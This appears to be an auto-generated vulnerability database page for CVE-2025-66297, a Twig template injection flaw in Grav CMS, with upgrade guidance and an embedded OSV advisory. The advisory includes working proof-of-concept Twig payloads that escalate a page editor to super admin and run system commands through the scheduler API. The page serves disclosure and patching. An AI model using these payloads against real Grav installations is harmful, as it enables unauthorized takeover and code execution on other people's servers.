CVE-2025-66297: Getgrav/grav Remote Code Execution Vulnerability
HIGHCVE-2025-66297 is a HIGH remote code execution vulnerability (CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine) affecting Getgrav/grav libraries in the Packagist ecosystem. The issue involves grav vulnerable to privilege escalation and authenticated remote code execution via twig injection. Remediation is available by upgrading affected packages to version 1.8.0-beta.27.
CVE-2025-66297 at a Glance
How to Fix CVE-2025-66297
To remediate this vulnerability, upgrade all affected Getgrav/grav dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade getgrav/grav to 1.8.0-beta.27
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for getgrav/grav
How to Check if You Are Affected
To determine whether your application is affected by CVE-2025-66297, inspect your project dependencies for Getgrav/grav:
inspect dependencies for getgrav/grav
Analyze the terminal output to locate any version of Getgrav/grav in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.8.0-beta.27), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine, where the product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine. In Getgrav/grav, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-66297 Affected Getgrav/grav Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
getgrav/grav
|
Packagist |
< 1.8.0-beta.27
|
1.8.0-beta.27
|
References
Frequently Asked Questions
What is CVE-2025-66297?
Which Getgrav/grav versions are affected?
What version fixes CVE-2025-66297?
Is getgrav/grav affected?
What CWE is associated with CVE-2025-66297?
How can I check Packagist dependencies for CVE-2025-66297?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-858q-77wx-hhx6",
"modified" : "2025-12-02T01:24:19Z",
"published" : "2025-12-02T01:24:19Z",
"aliases" : [ "CVE-2025-66297" ],
"summary" : "Grav vulnerable to Privilege Escalation and Authenticated Remote Code Execution via Twig Injection",
"details" : "### Summary\nA user with admin panel access and permissions to create or edit pages in Grav CMS can enable Twig processing in the page frontmatter. By injecting malicious Twig expressions, the user can escalate their privileges to admin or execute arbitrary system commands via the scheduler API. This results in both Privilege Escalation (PE) and Remote Code Execution (RCE) vulnerabilities.\n\n### Details\nGrav CMS allows Twig to be executed in page templates if enabled in admin panel (process: twig: true).\nA user with publisher/editor privileges, that can create or edit pages and enable twig processing, can thereby inject arbitrary code that will execute in the context of the page render.\n\nThis enables exploitation of Grav internal APIs such as:\n- `grav.user.update()` and `grav.user.save()` for escalating the current user to super admin or admin\n- `grav.scheduler.addCommand()`, `grav.scheduler.save()` and `grav.scheduler.run()` for code execution\n\nThe Twig sandbox is not enforced in this context, allowing full access to any backend PHP object and method in the `system/src/Grav/Common` directory.\n\n### PoC\n#### Preconditions:\n- You must have access to a **non-admin** user with permission to create/edit pages (```admin.pages``` access)\n- For Privilege Escalation, you also have to be logged in to the site with the same user as the admin panel.\n\n#### Steps to reproduce Privilege Escalation:\n1. Login into the non-admin page (default at `cms-url/login`).\n2. Login to the admin panel, create or edit a page and set the Twig processing to true (Advanced -> Process: Twig: true).\n3. Inject the following payload into the page content to escalate privileges:\n```\n{% set _ = grav.user.update({\n 'access': {\n 'admin': {\n 'login': true,\n 'super': true\n }\n }\n}, {}) %}\n{% set _ = grav.user.save() %}\n```\n4. Visit the edited/created page url. The logged in user is now admin. (*Note: For the changes to show, you need to log out of the admin panel and relogin).*\n\n#### Steps to reproduce Remote Code Execution:\n1. Login to the admin panel, create or edit a page and set the Twig processing to true (Advanced -> Process: Twig: true).\n2. Inject the following payload into the page content to execute commands:\n```\n{% set _ = grav.scheduler.addCommand('curl', ['http://localhost:8000']) %}\n{% set _ = grav.scheduler.save() %}\n{% set _ = grav.scheduler.run() %}\n```\n3. Visit the page to trigger the execution. The system will issue a `curl` request.\n\n### Impact\nThis vulnerability allows:\n- Privilege Escalation from any user with page editing capabilities to full admin (super) access.\n- Remote Code Execution, as the attacker can run system arbitrary commands via the scheduler API.\n\nIt affects any Grav CMS installation where users with lower privileges are allowed to create or edit pages and Twig processing is not globally disabled.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "getgrav/grav"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.8.0-beta.27"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav/security/advisories/GHSA-858q-77wx-hhx6"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-66297"
}, {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav/commit/e37259527d9c1deb6200f8967197a9fa587c6458"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/getgrav/grav"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1336" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-12-02T01:24:19Z",
"nvd_published_at" : "2025-12-01T21:15:53Z"
}
}